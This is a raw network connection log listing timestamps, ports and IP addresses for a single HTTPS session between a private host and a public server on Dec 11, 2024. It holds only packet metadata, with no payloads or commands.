Dec 11, 2024 12:29:50.321310997 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.321345091 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.321445942 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.322601080 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.322612047 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.322750092 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.322750092 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.322865963 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.322870970 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.323050022 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.323771000 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.323781013 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.323905945 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.324047089 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.324052095 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.324266911 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.325344086 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.325354099 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.325570107 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.325577974 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.325618982 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.325710058 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.326598883 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.326608896 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.326790094 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.326790094 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.326790094 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.326801062 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.326838970 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.326889992 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.326936960 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.327464104 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.327474117 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.327626944 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.327677011 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.327677011 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.327682972 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.327727079 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.327919960 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.329178095 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.329189062 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.329365969 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.329550982 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.329555988 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.329827070 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.330826044 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.330837965 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.330962896 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.331057072 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.331060886 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.331101894 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.331199884 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.331851006 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.331861019 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.332062960 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.332062960 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.332071066 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.332113028 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.332258940 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.333086014 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.333097935 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.333333015 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.333333015 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.333342075 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.333564043 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.334613085 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.334623098 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.334878922 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.334878922 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.334887028 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.335072994 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.336330891 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.336340904 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.336503983 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.336549997 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.336549997 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.336555958 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.336698055 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.337171078 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.337179899 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.337310076 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.337357044 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.337357044 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.337362051 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.337407112 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.337455034 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.337503910 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.338359118 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.338371038 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.338525057 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.338632107 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.338637114 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.338779926 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.339978933 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.339989901 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.340120077 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.340230942 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.340235949 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.340282917 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.340379953 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.341093063 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.341104031 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.341248989 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.341300964 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.341300964 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.341305971 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.341346979 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.341481924 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.342979908 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.342993975 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.343131065 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.343180895 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.343180895 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.343187094 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.343230963 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.343230963 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.343364000 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.344330072 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.344340086 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.344459057 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.344630957 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.344635963 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.344810009 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.345482111 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.345491886 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.345639944 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.345688105 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.345688105 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.345693111 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.345740080 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.345936060 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.346442938 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.346452951 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.346589088 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.346637964 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.346637964 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.346643925 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.346685886 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.346735001 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.346782923 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.347342014 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.347623110 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.347630024 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.349087000 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.349097967 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.349267006 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.349275112 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.349399090 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.350281000 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.350291014 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.350476027 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.350476027 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.350476027 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.350486040 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.350523949 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.350523949 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.350573063 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.351654053 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.351666927 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.351802111 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.351809025 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.351903915 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.352010965 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.352865934 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.352876902 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.353024960 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.353024960 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.353034019 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.353071928 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.353071928 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.353121042 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.354543924 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.354557037 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.354717016 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.354723930 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.354762077 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.354762077 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.354810953 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.355731964 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.355741978 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.355938911 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.355946064 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.356029987 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.357372046 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.357383966 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.357554913 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.357562065 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.357600927 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.357667923 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.358119011 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.358129025 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.358263969 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.358263969 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.358392000 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.358397007 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.359889030 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.359908104 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.360076904 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.360085011 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.360162020 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.361038923 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.361047983 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.361191034 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.361198902 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.361368895 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.361368895 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.361555099 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.361555099 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.362719059 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.362729073 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.362843990 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.363044024 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.363049984 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.363769054 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.363780975 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.363925934 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.363996029 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.364003897 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.364043951 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.364093065 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.364216089 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.364315987 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.529432058 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.529453039 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.529576063 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.529696941 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.529702902 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.529995918 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.530560017 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.530579090 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.530738115 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.530738115 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.530747890 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.530786037 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.530786037 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.530884027 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.531475067 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.531493902 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.531651020 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.531651020 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.531660080 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.531696081 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.531748056 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.531794071 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.532699108 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.532716036 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.532866001 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.532866001 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.532913923 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.532913923 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.532917976 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.533013105 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.533132076 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.534231901 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.534250021 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.534487009 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.534487009 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.534487009 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.534497023 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.534720898 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.535264969 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.535279989 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.535446882 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.535446882 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.535453081 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.535495996 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.535666943 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.536164999 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.536181927 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.536289930 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.536289930 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.536387920 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.536391973 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.536437035 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.536542892 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.537234068 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.537250042 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.537384033 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.537384033 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.537432909 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.537436962 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.537477970 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.537477970 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.537578106 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.538933039 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.538944006 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.539138079 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.539144993 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.539268017 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.539463043 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.539947987 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.539958954 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.540294886 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.540302992 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.540474892 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.540888071 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.540899038 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.541059971 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.541156054 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.541161060 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.541255951 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.541333914 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.542563915 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.542576075 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.542697906 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.542697906 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.542817116 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.542821884 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.542960882 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.543646097 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.543656111 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.544079065 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.544085979 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.544426918 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.544894934 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.544904947 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.545017958 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.545118093 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.545118093 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.545124054 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.545286894 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.545587063 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.545598030 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.545820951 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.545826912 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.545866013 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.545962095 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.547270060 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.547281027 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.547435045 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.547485113 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.547485113 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.547489882 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.547533989 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.547646999 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.548500061 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.548510075 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.548666954 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.548744917 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.548749924 CET	443	49756	172.67.128.139	192.168.11.30
